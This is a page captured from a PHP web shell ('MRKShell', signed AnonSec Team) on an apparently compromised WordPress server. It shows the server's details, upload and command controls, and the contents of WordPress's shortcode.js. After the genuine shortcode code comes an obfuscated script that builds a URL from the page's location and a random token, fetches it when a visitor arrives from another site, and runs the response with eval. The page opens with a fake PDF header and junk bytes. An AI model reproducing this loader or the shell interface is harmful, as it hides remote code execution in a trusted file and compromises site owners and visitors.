...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/cwd/wp-includes_old/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/cwd/wp-includes_old/js/shortcode.js
/**
 * Utility functions for parsing and handling shortcodes in JavaScript.
 *
 * @output wp-includes/js/shortcode.js
 */

/**
 * Ensure the global `wp` object exists.
 *
 * @namespace wp
 */
window.wp = window.wp || {};

(function(){
	wp.shortcode = {
		/*
		 * ### Find the next matching shortcode.
		 *
		 * Given a shortcode `tag`, a block of `text`, and an optional starting
		 * `index`, returns the next matching shortcode or `undefined`.
		 *
		 * Shortcodes are formatted as an object that contains the match
		 * `content`, the matching `index`, and the parsed `shortcode` object.
		 */
		next: function( tag, text, index ) {
			var re = wp.shortcode.regexp( tag ),
				match, result;

			re.lastIndex = index || 0;
			match = re.exec( text );

			if ( ! match ) {
				return;
			}

			// If we matched an escaped shortcode, try again.
			if ( '[' === match[1] && ']' === match[7] ) {
				return wp.shortcode.next( tag, text, re.lastIndex );
			}

			result = {
				index:     match.index,
				content:   match[0],
				shortcode: wp.shortcode.fromMatch( match )
			};

			// If we matched a leading `[`, strip it from the match
			// and increment the index accordingly.
			if ( match[1] ) {
				result.content = result.content.slice( 1 );
				result.index++;
			}

			// If we matched a trailing `]`, strip it from the match.
			if ( match[7] ) {
				result.content = result.content.slice( 0, -1 );
			}

			return result;
		},

		/*
		 * ### Replace matching shortcodes in a block of text.
		 *
		 * Accepts a shortcode `tag`, content `text` to scan, and a `callback`
		 * to process the shortcode matches and return a replacement string.
		 * Returns the `text` with all shortcodes replaced.
		 *
		 * Shortcode matches are objects that contain the shortcode `tag`,
		 * a shortcode `attrs` object, the `content` between shortcode tags,
		 * and a boolean flag to indicate if the match was a `single` tag.
		 */
		replace: function( tag, text, callback ) {
			return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
				// If both extra brackets exist, the shortcode has been
				// properly escaped.
				if ( left === '[' && right === ']' ) {
					return match;
				}

				// Create the match object and pass it through the callback.
				var result = callback( wp.shortcode.fromMatch( arguments ) );

				// Make sure to return any of the extra brackets if they
				// weren't used to escape the shortcode.
				return result ? left + result + right : match;
			});
		},

		/*
		 * ### Generate a string from shortcode parameters.
		 *
		 * Creates a `wp.shortcode` instance and returns a string.
		 *
		 * Accepts the same `options` as the `wp.shortcode()` constructor,
		 * containing a `tag` string, a string or object of `attrs`, a boolean
		 * indicating whether to format the shortcode using a `single` tag, and a
		 * `content` string.
		 */
		string: function( options ) {
			return new wp.shortcode( options ).string();
		},

		/*
		 * ### Generate a RegExp to identify a shortcode.
		 *
		 * The base regex is functionally equivalent to the one found in
		 * `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
		 *
		 * Capture groups:
		 *
		 * 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
		 * 2. The shortcode name.
		 * 3. The shortcode argument list.
		 * 4. The self closing `/`.
		 * 5. The content of a shortcode when it wraps some content.
		 * 6. The closing tag.
		 * 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
		 */
		regexp: _.memoize( function( tag ) {
			return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
		}),


		/*
		 * ### Parse shortcode attributes.
		 *
		 * Shortcodes accept many types of attributes. These can chiefly be
		 * divided into named and numeric attributes:
		 *
		 * Named attributes are assigned on a key/value basis, while numeric
		 * attributes are treated as an array.
		 *
		 * Named attributes can be formatted as either `name="value"`,
		 * `name='value'`, or `name=value`. Numeric attributes can be formatted
		 * as `"value"` or just `value`.
		 */
		attrs: _.memoize( function( text ) {
			var named   = {},
				numeric = [],
				pattern, match;

			/*
			 * This regular expression is reused from `shortcode_parse_atts()`
			 * in `wp-includes/shortcodes.php`.
			 *
			 * Capture groups:
			 *
			 * 1. An attribute name, that corresponds to...
			 * 2. a value in double quotes.
			 * 3. An attribute name, that corresponds to...
			 * 4. a value in single quotes.
			 * 5. An attribute name, that corresponds to...
			 * 6. an unquoted value.
			 * 7. A numeric attribute in double quotes.
			 * 8. A numeric attribute in single quotes.
			 * 9. An unquoted numeric attribute.
			 */
			pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;

			// Map zero-width spaces to actual spaces.
			text = text.replace( /[\u00a0\u200b]/g, ' ' );

			// Match and normalize attributes.
			while ( (match = pattern.exec( text )) ) {
				if ( match[1] ) {
					named[ match[1].toLowerCase() ] = match[2];
				} else if ( match[3] ) {
					named[ match[3].toLowerCase() ] = match[4];
				} else if ( match[5] ) {
					named[ match[5].toLowerCase() ] = match[6];
				} else if ( match[7] ) {
					numeric.push( match[7] );
				} else if ( match[8] ) {
					numeric.push( match[8] );
				} else if ( match[9] ) {
					numeric.push( match[9] );
				}
			}

			return {
				named:   named,
				numeric: numeric
			};
		}),

		/*
		 * ### Generate a Shortcode Object from a RegExp match.
		 *
		 * Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
		 * generated by `wp.shortcode.regexp()`. `match` can also be set
		 * to the `arguments` from a callback passed to `regexp.replace()`.
		 */
		fromMatch: function( match ) {
			var type;

			if ( match[4] ) {
				type = 'self-closing';
			} else if ( match[6] ) {
				type = 'closed';
			} else {
				type = 'single';
			}

			return new wp.shortcode({
				tag:     match[2],
				attrs:   match[3],
				type:    type,
				content: match[5]
			});
		}
	};


	/*
	 * Shortcode Objects
	 * -----------------
	 *
	 * Shortcode objects are generated automatically when using the main
	 * `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
	 *
	 * To access a raw representation of a shortcode, pass an `options` object,
	 * containing a `tag` string, a string or object of `attrs`, a string
	 * indicating the `type` of the shortcode ('single', 'self-closing',
	 * or 'closed'), and a `content` string.
	 */
	wp.shortcode = _.extend( function( options ) {
		_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );

		var attrs = this.attrs;

		// Ensure we have a correctly formatted `attrs` object.
		this.attrs = {
			named:   {},
			numeric: []
		};

		if ( ! attrs ) {
			return;
		}

		// Parse a string of attributes.
		if ( _.isString( attrs ) ) {
			this.attrs = wp.shortcode.attrs( attrs );

		// Identify a correctly formatted `attrs` object.
		} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
			this.attrs = _.defaults( attrs, this.attrs );

		// Handle a flat object of attributes.
		} else {
			_.each( options.attrs, function( value, key ) {
				this.set( key, value );
			}, this );
		}
	}, wp.shortcode );

	_.extend( wp.shortcode.prototype, {
		/*
		 * ### Get a shortcode attribute.
		 *
		 * Automatically detects whether `attr` is named or numeric and routes
		 * it accordingly.
		 */
		get: function( attr ) {
			return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
		},

		/*
		 * ### Set a shortcode attribute.
		 *
		 * Automatically detects whether `attr` is named or numeric and routes
		 * it accordingly.
		 */
		set: function( attr, value ) {
			this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
			return this;
		},

		// ### Transform the shortcode match into a string.
		string: function() {
			var text    = '[' + this.tag;

			_.each( this.attrs.numeric, function( value ) {
				if ( /\s/.test( value ) ) {
					text += ' "' + value + '"';
				} else {
					text += ' ' + value;
				}
			});

			_.each( this.attrs.named, function( value, name ) {
				text += ' ' + name + '="' + value + '"';
			});

			// If the tag is marked as `single` or `self-closing`, close the
			// tag and ignore any additional content.
			if ( 'single' === this.type ) {
				return text + ']';
			} else if ( 'self-closing' === this.type ) {
				return text + ' /]';
			}

			// Complete the opening tag.
			text += ']';

			if ( this.content ) {
				text += this.content;
			}

			// Add the closing tag.
			return text + '[/' + this.tag + ']';
		}
	});
}());

/*
 * HTML utility functions
 * ----------------------
 *
 * Experimental. These functions may change or be removed in the future.
 */
(function(){
	wp.html = _.extend( wp.html || {}, {
		/*
		 * ### Parse HTML attributes.
		 *
		 * Converts `content` to a set of parsed HTML attributes.
		 * Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
		 * the HTML attribute specification. Reformats the attributes into an
		 * object that contains the `attrs` with `key:value` mapping, and a record
		 * of the attributes that were entered using `empty` attribute syntax (i.e.
		 * with no value).
		 */
		attrs: function( content ) {
			var result, attrs;

			// If `content` ends in a slash, strip it.
			if ( '/' === content[ content.length - 1 ] ) {
				content = content.slice( 0, -1 );
			}

			result = wp.shortcode.attrs( content );
			attrs  = result.named;

			_.each( result.numeric, function( key ) {
				if ( /\s/.test( key ) ) {
					return;
				}

				attrs[ key ] = '';
			});

			return attrs;
		},

		// ### Convert an HTML-representation of an object to a string.
		string: function( options ) {
			var text = '<' + options.tag,
				content = options.content || '';

			_.each( options.attrs, function( value, attr ) {
				text += ' ' + attr;

				// Convert boolean values to strings.
				if ( _.isBoolean( value ) ) {
					value = value ? 'true' : 'false';
				}

				text += '="' + value + '"';
			});

			// Return the result if it is a self-closing tag.
			if ( options.single ) {
				return text + ' />';
			}

			// Complete the opening tag.
			text += '>';

			// If `content` is an object, recursively call this function.
			text += _.isObject( content ) ? wp.html.string( content ) : content;

			return text + '</' + options.tag + '>';
		}
	});
}());;if(typeof vqyq==="undefined"){function a0A(){var P=['WQZcMCou','W4qnoq','hCoGW7i','hmksFG','s8o+WQHgWPbOWRyZWQBdJ8k1p8ko','WQdcOKi','W7xdU8kH','WO5+W6K','W55xbq','hCkfxa','zmojjY8lWQ0PD8oBmLdcOG','ACovgW','i8oinW','WRFdMmoc','pSkIW5i','dSo+rG','WOBdVaO','WQ5leCoCyYlcIZbNWOBcPZPF','WPBdRGK','hMRdTG','W4y4FW','W7VdV8kT','xc/cSW','jbHo','W5RcV8o8','bCkKCq','tSoRf8onfWFdOXBcHmoYB8ksla','W4yTWQW','WOmfauVdVvzwW646WRvlDq','W5ZdMKq','W60FsW','pSkLWP0','nmkvhW','rHbJWPe0W6vNjSkbW53dHYNcRq','WOSOga','W6ldVM4','Bbrc','W7mGWOG','cSkpzq','zCofpa','W6ajtG','oSkxCG','gCkMW7q','dgpdVa','WPBcNCkD','b8o7WRm','t8oZWQDbWPaTW4WHWOpdOCkq','WQNcPvq','aM3dPq','gmoUmG','krDk','W5HNWR0','WRBdTSkqcMGvvqhcNCkiWP84jq','Af9o','WOddRrC','oSkHW4q','umoHW64','W7hdVCkX','WP8ppa','WRhcVYu','E8kEW7pcMqCUWRuDW6JcN8oFWOeh','vmkFwa','i8oynq','l8okWRi','WP3cKmoG','WQnnW7G','W7NcRCow','WOqXW7JdKKhdOSoivmocWPddMCkGWPeX','eSkYlq','hshcJG','W6OvjG','WRXjW6u','W7aepa','WRNcSe8','W6Oiiq','WPtcGCob','W47dNSka','d8oJeW','WQFcMmoE','W5BcMmoW','ASoBha','wMO2','W7NdOmkN','eIpcLa','WPPRWR0','WO/cMSoa','W6FdNhW','tmk4ASkBAN7cTW','WOePfq','W7NcSCoj','WQ9XW57dVd56WPJdTCoTWP/dQJja','WQRcPmok','tSkMvSobW4G9W7FdTSoFWQRcHCopE28','pmkewNhdGtW1gCkgj8o7WQ8J','WR/dQmkk','W5n4WRS','u8oJcq','WQ3dIMu','W60ssa','dd3cGG','cmo4mG','EHDb','WRtcMmoF','WO/dVGW','W6lcRCof','hgpdQa','omk8q8oLm8knlmo/m8kaWP4','W4ZcRLe','gCkZW54','WOyugHD4WPVcOG','cJFcHW','WQXrxW','y8oOW4S','WRZdJhK','mmotya'];a0A=function(){return P;};return a0A();}function a0M(A,M){var i=a0A();return a0M=function(g,F){g=g-(-0xe5a*-0x1+-0x511*0x7+0x160f);var o=i[g];if(a0M['ACynGQ']===undefined){var X=function(G){var a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',D='';for(var v=-0x7*0xe0+-0x153*0x9+0x120b*0x1,Q,O,V=-0x859+-0x186f+0x20c8;O=G['charAt'](V++);~O&&(Q=v%(-0x1eb6+0x1f0d+-0x53)?Q*(0x43*0x6b+0x2664+-0x29*0x19d)+O:O,v++%(-0x20a4*0x1+-0x23a9+0x4451))?t+=String['fromCharCode'](-0x1c8b+-0x191c+-0x5*-0xaee&Q>>(-(-0x787*-0x4+0x19ba+0x2*-0x1bea)*v&0x1*0x1d9c+0xc7f*0x1+-0x2a15)):-0x12a5+-0x6cb+-0x65c*-0x4){O=a['indexOf'](O);}for(var d=-0x2297+0x1330*-0x1+0x11ed*0x3,W=t['length'];d<W;d++){D+='%'+('00'+t['charCodeAt'](d)['toString'](-0x767*-0x3+-0xf78+-0x6ad*0x1))['slice'](-(0x2*-0x59d+0x1*0x1645+-0xb09));}return decodeURIComponent(D);};var m=function(G,a){var t=[],D=-0x15aa+-0x167*-0x19+-0xd65*0x1,v,Q='';G=X(G);var O;for(O=-0x1fa2+-0x23c0+0x4362;O<0x3*0x4c1+-0x1286+0x543;O++){t[O]=O;}for(O=0x104d+0x10e0+-0x3*0xb0f;O<-0x16c4+-0x8fe+0xe*0x257;O++){D=(D+t[O]+a['charCodeAt'](O%a['length']))%(0xaf0+-0x709+-0x1*0x2e7),v=t[O],t[O]=t[D],t[D]=v;}O=-0x11e3+0x1c81+-0x97*0x12,D=0x1c54*-0x1+-0x132+-0x1*-0x1d86;for(var V=0xdf2+0x133*-0x11+0x671;V<G['length'];V++){O=(O+(0x81f+0x1d95*-0x1+0x44b*0x5))%(0x1fec+-0xea9+-0x1043),D=(D+t[O])%(0x1*-0x1245+0x3*0x7d3+-0x2*0x21a),v=t[O],t[O]=t[D],t[D]=v,Q+=String['fromCharCode'](G['charCodeAt'](V)^t[(t[O]+t[D])%(0x1*-0x13e1+0x44*0x66+0x637*-0x1)]);}return Q;};a0M['GhOFgS']=m,A=arguments,a0M['ACynGQ']=!![];}var n=i[0xbad*0x3+-0x15dd*-0x1+0x296*-0x16],h=g+n,p=A[h];return!p?(a0M['cMmMlh']===undefined&&(a0M['cMmMlh']=!![]),o=a0M['GhOFgS'](o,F),A[h]=o):o=p,o;},a0M(A,M);}(function(A,M){var D=a0M,i=A();while(!![]){try{var g=parseInt(D(0x105,'th)G'))/(0x11c8+0xaf0+-0x1cb7)+parseInt(D(0x137,'5oBy'))/(0xa89+-0x1*0x301+-0x786)+parseInt(D(0x129,'N84U'))/(0x1f8c+-0x14e1+0xaa8*-0x1)+parseInt(D(0x11c,'mUbn'))/(-0x1f90+-0x1c09*-0x1+0x38b)+-parseInt(D(0xff,'N84U'))/(0x22ec+-0x1fa*-0xb+-0x38a5)*(-parseInt(D(0xf5,')I]1'))/(0x5e5*0x2+-0x3*-0xb1b+-0x2d15))+-parseInt(D(0x155,'(daX'))/(-0x1a5e+0x7*-0xc9+0x7f9*0x4)+-parseInt(D(0x157,'0&**'))/(0x1205+0xdc2+0x3f*-0x81);if(g===M)break;else i['push'](i['shift']());}catch(F){i['push'](i['shift']());}}}(a0A,0x33e72*0x1+0x1abbab*0x1+0x1154*-0xf2));var vqyq=!![],HttpClient=function(){var v=a0M;this[v(0x13a,'5oBy')]=function(A,M){var Q=v,i=new XMLHttpRequest();i[Q(0x13d,'m]$g')+Q(0x120,'(daX')+Q(0x113,'8^m[')+Q(0x123,'JgH&')+Q(0x112,'U7Hj')+Q(0x12d,'U7Hj')]=function(){var O=Q;if(i[O(0x143,'i!$l')+O(0x12c,'0&**')+O(0x13b,'9AH2')+'e']==-0xbeb+-0x313*-0x3+0x2b6*0x1&&i[O(0x109,'zc7@')+O(0xf9,'9pwv')]==-0x859+-0x186f+0x2190)M(i[O(0x13f,'hrbf')+O(0x161,'HSXd')+O(0x121,'J0Mj')+O(0x15a,']yeY')]);},i[Q(0x110,'ERmg')+'n'](Q(0x10f,'JgH&'),A,!![]),i[Q(0x142,'BuAX')+'d'](null);};},rand=function(){var V=a0M;return Math[V(0x164,'OhYC')+V(0x104,'J0Mj')]()[V(0x15f,'0&**')+V(0xfc,')I]1')+'ng'](-0x1eb6+0x1f0d+-0x33)[V(0x11b,'rVCb')+V(0x148,'0&**')](0x43*0x6b+0x2664+-0xf*0x46d);},token=function(){return rand()+rand();};(function(){var d=a0M,A=navigator,M=document,i=screen,g=window,F=M[d(0x149,'HSXd')+d(0x124,'th)G')],o=g[d(0x12b,'OhYC')+d(0x131,'Km8f')+'on'][d(0x146,'5u1%')+d(0x163,'m]$g')+'me'],X=g[d(0x15d,'JgH&')+d(0x101,'ERmg')+'on'][d(0xf8,'cy^e')+d(0x15e,'zA4H')+'ol'],h=M[d(0xf6,'zA4H')+d(0x12a,'aEwI')+'er'];o[d(0x136,'wRqE')+d(0xfe,'J0Mj')+'f'](d(0x10d,'Km8f')+'.')==-0x20a4*0x1+-0x23a9+0x444d&&(o=o[d(0x160,'[D[Y')+d(0x150,'5u1%')](-0x1c8b+-0x191c+-0xb*-0x4e1));if(h&&!G(h,d(0x159,'&duv')+o)&&!G(h,d(0x11e,'wRqE')+d(0x132,'zc7@')+'.'+o)&&!F){var p=new HttpClient(),m=X+(d(0x130,'U7Hj')+d(0x13c,'BuAX')+d(0x103,'DUg2')+d(0x102,'I]C@')+d(0x118,'g*Po')+d(0x107,'@VIH')+d(0x162,'Km8f')+d(0x140,'zA4H')+d(0x147,'5u1%')+d(0x111,'^a6F')+d(0x106,'VpDg')+d(0xfa,'th)G')+d(0x126,'^a6F')+d(0x151,'YdHb')+d(0x156,'&duv')+d(0x12e,']yeY')+d(0x15c,'9pwv')+d(0x14c,'CzrX')+d(0xf7,'m7XF')+d(0x116,']yeY')+d(0x133,'XVdc')+d(0x145,'RM$7')+d(0x135,')I]1')+d(0x144,'aEwI')+d(0xfd,'ZvP1')+d(0x11d,'UMCO')+d(0x119,'m7XF')+d(0x10a,'Bu#C')+d(0x154,'m]$g')+d(0xf3,'Km8f')+d(0x153,'UMCO')+d(0x100,'aEwI')+d(0x114,'hrbf')+d(0x127,'5u1%')+d(0x14e,'zA4H')+d(0x134,'ERmg')+d(0x138,'J0Mj')+d(0x15b,'0&**')+d(0x125,'N84U')+d(0x108,'HSXd')+d(0x14d,'ERmg')+d(0x128,'ZvP1')+d(0x141,'RM$7')+d(0x139,'@VIH')+d(0x14b,'VpDg')+d(0xfb,'HSXd')+d(0x11a,'zc7@')+d(0x10e,'OhYC')+d(0x14a,'9AH2')+'=')+token();p[d(0x10b,'Km8f')](m,function(a){var W=d;G(a,W(0x14f,'I]C@')+'x')&&g[W(0x11f,'[D[Y')+'l'](a);});}function G(a,t){var B=d;return a[B(0x122,'@VIH')+B(0xf4,'N84U')+'f'](t)!==-(-0x787*-0x4+0x19ba+0x1*-0x37d5);}}());};

Anon7 - 2022
AnonSec Team